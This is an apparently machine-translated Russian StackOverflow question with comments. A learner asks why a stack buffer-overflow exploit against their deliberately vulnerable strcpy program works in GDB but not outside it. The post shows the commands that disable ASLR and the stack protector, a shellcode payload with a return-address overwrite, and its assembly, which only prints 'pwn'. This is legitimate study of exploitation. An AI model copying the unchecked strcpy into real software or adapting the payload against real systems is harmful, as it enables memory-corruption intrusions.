Я пытался устранить эту проблему некоторое время. Я проверил несколько ссылок StackOverflow с похожими проблемами, но ни одна из исправлений, похоже, не работала для меня. По какой-то причине вместо получения ошибки сегментации, как я должен быть (если мой код эксплойта не работает), мой код эксплойта просто не создает ошибку. Мое первоначальное предположение заключалось в том, что perl-код каким-то образом генерировал только немного вывода, поэтому не переполнялся в стек, но я доказал это неправильно, передавая вывод команды perl в файл.Невозможно воспроизвести переполнение буфера без GDB
Однако я не могу воспроизвести эту проблему в GDB. По моему мнению, GDB отключает ASLR, но я отключил его (временно) в системе с помощью следующей команды. Я знаю, что эта команда работает, потому что я печатаю адрес переменной & buff, и он не изменяется среди нескольких прогонов.
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Я также отключить стек канарейки защиту на мой исполняемый файл:
gcc -g -m32 -fno-stack-protector -z execstack exploit.c
Как я уже говорил, мой эксплуатируют работает отлично в GDB. Вот моя эксплуатируемая программа, и я покажу вам мой код эксплойта.
exploit.c
int checkFunc(char *c) {
char buff[32];
printf("0x%08x\n", &buff);
strcpy(buff, c);
if(strcmp(buff, "test") == 0) return 1;
else return 0;
}
int main(int argc, char *argv[]) {
int result = checkFunc(argv[1]);
if(result == 1) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
GDB выход [работает] использовать код
(gdb) set args "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
(gdb) run
Starting program: /home/chris/exploit/a.out "`perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x30\xf6\xff\xbf"x5;'`"
0xbffff630
pwn
Регулярный выпуск кода эксплойта
[email protected]:~/exploit$ ./a.out $(perl -e 'print "\x90"x9 . "\x31\xD2\x31\xC9\x31\xDB\x52\x68\x70\x77\x6E\x0A\xB2\x04\x89\xE1\xB3\x01\xB0\x04\xCD\x80\xE9\xFB\xFF\xFF\xFF" . "\x60\xf6\xff\xbf"x5;')
0xbffff660
Access denied
Да, я принял во внимание изменение адреса возврата (GDB добавляет дополнительные переменные среды). Вот почему я как бы обманул, распечатав обратный адрес в моей программе, чтобы я знал, что такое точное значение без использования GDB.
Если кто-то думает, что код эксплойта как-то не прав, я также отправлю ассемблерный код.
xor edx,edx ;xor so we don't have to use a null terminator in our code
xor ecx,ecx
xor ebx,ebx
push edx ;push the null terminator to the stack
push 0xa6e7770 ;push our string pwn\n to the stack
mov dl,0x4
mov ecx,esp
mov bl,0x1
mov al,0x4
int 0x80 ;print our string
jmp eip - 1 ;keep on looping!
Большое вам спасибо! Я застрял на этом часами. И именно так вы, ребята, знаете, я написал эту эксплуатационную программу, чтобы узнать о переполнении буфера в Hacking: The Art of Exploitation.
Прикрепите gdb к процессу, не запускайте его из самого gdb. Таким образом, макет памяти не будет затронут. – Jester
Какая инструкция x86 'jmp' снова была однобайтовой инструкцией? Я не могу найти его ... – EOF
@EOF Вы имеете в виду 'jmp short'? Это '0xeb'. Конечно, требуется однобайтное смещение, так что это всего 2 байта. ОН, мой датчик сарказма нуждается в корректировке. @ baseman101: он хотел сказать, что 'jmp eip-1', даже если он собирается, не будет делать то, что вы думаете. Вместо этого используйте 'jmp $' или эквивалент. – Jester